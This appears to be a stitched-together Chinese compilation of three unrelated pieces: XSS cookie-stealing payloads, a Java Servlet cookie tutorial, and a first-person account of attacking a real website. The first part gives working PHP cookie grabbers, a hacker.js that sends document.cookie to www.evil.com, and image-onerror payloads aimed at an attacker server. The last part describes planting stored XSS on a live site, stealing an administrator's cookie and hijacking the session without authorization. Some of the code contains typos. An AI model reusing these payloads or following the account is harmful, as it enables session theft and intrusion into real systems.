payload：
 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS injection#exploit-code-or-poc
 
XSS/grabber.php
 
<?php
// How to use it
echo "
<script>new Image().src=\"http://localhost/XSS/grabber.php?c=\"+document.cookie;</script>
";

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>
 
 
或者：
 直接在grabber.php里这样写：
 
<?php
// How to use it
session_start();
echo "
<script>new Image().src=\"http://95.a.b.c:8080/?c=\"+document.cookie;</script>
";

?>
 
然后访问：http://localhost/grabber.php
 Cookie（内容为PHPSESSIONID）发送成功。
 
 
其他Payload：
 
<img src=x οnerrοr=this.src='http://yourserver/?c='+document.cookie>
<img src=https://github.com/favicon.ico width=0 height=0 οnlοad=this.src='http://yourserver/?'+document.cookie>

 
不用括号和分号XSS：
 
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
 

 参考：https://portswigger.net/blog/xss-without-parentheses-and-semi-colons

参考了网上的一堆教程和余弦的《web前端黑客技术揭秘》
 
主要是关于XSS的。更准确一点，关于盗取cookie的，且是反射型。其实就是最简单的一个反射型cookie盗取过程。
 
一、XSS的一般过程：
 
1、找到XSS漏洞，假设存在于网站A；
 
2、发送可以触发该漏洞的，特定代码到攻击目标；
 
可以这样构造：<a href = "http://www.foo.com/xss/xss.php?x=<script src = http://www.evil.com/xss/hacker.js />凤姐最新性感视频</a>
 
其中，www.foo.com/xss/xss.php?x=是存在漏洞的网站A，执行盗取cookie操作的文件位于我们自己的网站 B。
 
B网站主要有两个文件，hacker.js和hacker.php
 
其中，hacker.js代码如下：（不是必须这么写，一个简单示例而已。）
 
//hacker.js
 
var img = new Image();
 
img.src = "http://www.evil.com/xss/hacker.php?X=" + document.cookie;
 
document.body.append(img);
 
hacker.php代码如下：
 
//hacker.php
 
<?php
 
$cookie = $_GET['x'];
 
var _dump($cookie);
 
$myFile = "cookie.txt";
 
file_put_contents($myFile, $cookei);
 
?>
 
3、这样当用户点击了链接（指”凤姐最新性感视频“）后，被攻击目标在网站A的cookie将被我们拿到，存到网站B和hacker.js同目录下的cookie.txt文件中。
 

 
 
注：在此过程中，学到的小知识还有：
 
1、php服务端设置cookie：
 
<?php
 
setcookie("cookie1", "value1");
 
?>
 

 

 
文章目录
 
1. 会话技术
2. Cookie 的概念
3. Cookie 快速入门
4. Cookie 的实现原理
5. Cookie 的细节
5.1 一次可以发送多个 Cookie 吗?
5.2 Cookie 在浏览器中保存多长时间？
5.3 Cookie 能不能存储中文？
5.4 Cookie 在不同项目中能不能共享？
  
6. Cookie 的特点和作用
7. 记住上一次访问时间案例

 
1. 会话技术
 
 
会话的概念
 
一次会话中包含多次请求和响应
 
一次会话：浏览器第一次给服务器资源发送请求，会话建立，直到有一方断开为止
 
 
会话的功能
 
在一次会话内的多次请求间共享数据
 
 
会话技术的分类
 
  
客户端会话技术：Cookie
服务器端会话技术：Session
 
 
2. Cookie 的概念
 
客户端会话技术，将数据保存到客户端
 
3. Cookie 快速入门
 
 
使用步骤
 
  
 
创建 Cookie 对象，绑定数据
 
new Cookie(String name, String value) 
 
 
发送 Cookie 对象
 
response.addCookie(Cookie cookie) 
 
 
获取 Cookie，拿到数据
 
Cookie[] request.getCookies()  
 
 
 
Cookie 练习
 
在 CookieDemo1 中创建 Cookie 并发送，在 CookieDemo2 获取 Cookie
 
@WebServlet("/CookieDemo1")
public class CookieDemo1 extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 创建 Cookie 对象，绑定数据
        Cookie cookie = new Cookie("cookie1","hello");
        // 发送 Cookie 对象
        response.addCookie(cookie);
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}
 
@WebServlet("/CookieDemo2")
public class CookieDemo2 extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 获取 Cookie，拿到数据
        Cookie[] cookies = request.getCookies();
        // 遍历 cookies 数组，获取数据
        if (cookies != null) {
            for (Cookie cookie : cookies) {
                String name = cookie.getName();
                String value = cookie.getValue();
                System.out.println(name + ":" + value);
            }
        }
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

 
 
4. Cookie 的实现原理
 
 
基于响应头 set-cookie 和请求头 cookie 实现的
 
5. Cookie 的细节
 
5.1 一次可以发送多个 Cookie 吗?
 
可以的。创建多个 Cookie 对象，使用 response 调用多次 addCookie 方法发送 Cookie 即可
 
@WebServlet("/CookieDemo3")
public class CookieDemo3 extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 创建 Cookie 对象，绑定数据
        Cookie cookie1 = new Cookie("cookie1","hello");
        Cookie cookie2 = new Cookie("cookie2","world");
        // 发送 Cookie 对象
        response.addCookie(cookie1);
        response.addCookie(cookie2);
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

 
5.2 Cookie 在浏览器中保存多长时间？
 
默认情况下，当浏览器关闭后，Cookie 数据被销毁
设置持久化存储 
  
void setMaxAge(int seconds)
正数：将 Cookie 数据写到硬盘的文件中，并指定 Cookie 存活时间，时间到后，Cookie 文件将被自动删除。
负数：默认值
 
  
零：删除 Cookie 信息
 
 
5.3 Cookie 能不能存储中文？
 
在 Tomcat 8 之前，Cookie 中不能直接存储中文数据。
在 Tomcat 8 之后，Cookie 支持中文数据。但特殊字符（如空格）还是不支持，建议使用 URL 编码存储，URL 解码解析。
 
5.4 Cookie 在不同项目中能不能共享？
 
 
假设在同一个 Tomcat 服务器中，部署了多个 Web 项目，那么在这些 Web 项目中 Cookie 能不能共享？
 
  
默认情况下 Cookie 不能共享
设置 Cookie 的获取范围 
    
void setPath(String path) 
      
默认情况下，设置当前的虚拟目录。所以一个项目中，所有 Cookie 共享
如果要在不同项目中共享，则可以将path设置为 “/”
 
 
 
 
不同的 Tomcat 服务器间 Cookie 能不能共享？
 
  
 
setDomain(String path)：如果设置一级域名相同，那么多个服务器之间 Cookie 可以共享
 
如：setDomain(".baidu.com")，那么 tieba.baidu.com 和 news.baidu.com 中 Cookie 可以共享
 
 
 
6. Cookie 的特点和作用
 
Cookie 的特点 
  
Cookie 存储数据在客户端浏览器（数据不安全）
浏览器对于单个 Cookie 的大小有限制(4kb)以及对同一个域名下的总 Cookie 数量也有限制(20个)（少量数据）
 
Cookie 的作用 
  
Cookie 一般用于存储少量的不太敏感的数据
可以在不登录的情况下，完成服务器对客户端的身份识别
 
 
7. 记住上一次访问时间案例
 
 
需求分析
 
  
访问一个 Servlet，如果是第一次访问，则提示：您好，欢迎您首次访问。
如果不是第一次访问，则提示：欢迎回来，您上次访问时间为：显示时间字符串
 
 
概要设计
 
 
在服务器中创建一个 Servlet 来判断是否有一个名为 lastTime 的 Cookie
 
  
有：不是第一次访问 
    
响应数据：欢迎回来，您上次访问时间为：2019-08-19 12:42:22
写回Cookie：lastTime=2019-08-19 12:42:22
 
没有：是第一次访问 
    
响应数据：您好，欢迎您首次访问
写回Cookie：lastTime=2019-08-19 12:42:22
 
 
 
编码实现
 
@WebServlet("/CookieTest")
public class CookieTest extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // 设置编码
        response.setContentType("text/html;charset=utf-8");
        // 标志是否有名为 lastTime 的 Cookie
        boolean flag = false;

        // 1.获取所有 Cookie，拿到数据
        Cookie[] cookies = request.getCookies();
        // 2.遍历 cookies 数组
        if (cookies != null && cookies.length > 0) {
            for (Cookie cookie : cookies) {
                // 3.获取 cookies 名称
                String name = cookie.getName();
                // 4.如果有名为 lastTime 的 Cookie，不是第一次访问
                if(name.equals("lastTime")){
                    flag = true;
                    // 响应数据
                    String value = cookie.getValue();
                    // 进行 URL 解码
                    value = URLDecoder.decode(value,"utf-8");
                    response.getWriter().write("欢迎回来，您上次访问时间为："+value);

                    // 写回 Cookie
                    Date date = new Date();
                    // 格式化日期
                    SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
                    String format = simpleDateFormat.format(date);
                    // 进行 URL 编码
                    format = URLEncoder.encode(format, "utf-8");
                    cookie.setValue(format);
                    // 设置存活时期
                    cookie.setMaxAge(60*60*24*30);
                    response.addCookie(cookie);
                    break;
                }
            }
        }
        //5.如果没有名为 lastTime 的 Cookie，是第一次访问
        if(cookies == null || cookies.length == 0 || flag == false){
            // 响应数据
            response.getWriter().write("您好，欢迎您首次访问");

            // 写回 Cookie
            Date date = new Date();
            // 格式化日期
            SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            String format = simpleDateFormat.format(date);
            // 进行 URL 编码
            format = URLEncoder.encode(format, "utf-8");
            Cookie cookie = new Cookie("lastTime",format);
            // 设置存活时期
            cookie.setMaxAge(60*60*24*30);
            response.addCookie(cookie);

        }
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}
 

 
前言
 
 
最近在逛小程序，其中发现一个小程序是申请用户信息后自动在某站注册账号。 于是便去网站看了下，WOW！好多输入框~就顺手试了下xss。 
 

  
 
 
 
 
找到XSS漏洞
 
 
本着学习交流的目的，用颤巍巍的手指在用户名称的输入框里输下了如下代码： <script>alert(1)</script> 
 

  
 
 emm...没反应，内心一阵失落，并没有预期中那样弹出个框来，叹了口气。 但是，好歹是个程序猿，不能轻言放弃。 便找了一些xss变异代码进行测试： 
 </textarea><img onerror="alert(1)" src='1'> 
 

  
 
 WOW！棒呆呆！
 
 
 
进一步利用XSS漏洞
 
 
当时我在想，他的小程序是有充值功能的。 管理员或者财务肯定会没事儿看一下今天有没有消费呀~有哪些新用户充值了呀~ 那不如~ 刷两笔充值的单子，然后在用户名称中植入xss，姜太公钓鱼愿者上钩。 便从搜索引擎找了几家带https的xss平台，勾选个能获取cookie的模块： 
 

  
 
 
 
 
Two(第) years(二) later(天)...
 
 

 

  
 
 鱼儿上钩~成功拿到用户名和cookie，那么挂代理，开发者工具，Application，修改Cookies，刷新页面。
 
 
 
真的幸运
 
 

 

  
 
 头一次利用xss干一些事情，很舒服。 可惜的是后台和用户中心是共用的，并没有找到上传文件等再利用的地方。 
 

  
 
 只能充个小钱啥的~
 
 
 
漏洞提交
 
 

 

  
 
 已反馈给相关管理员进行修复。
 
 
 
结束语
 
 
做开发的，安全防范意识一定要有啊！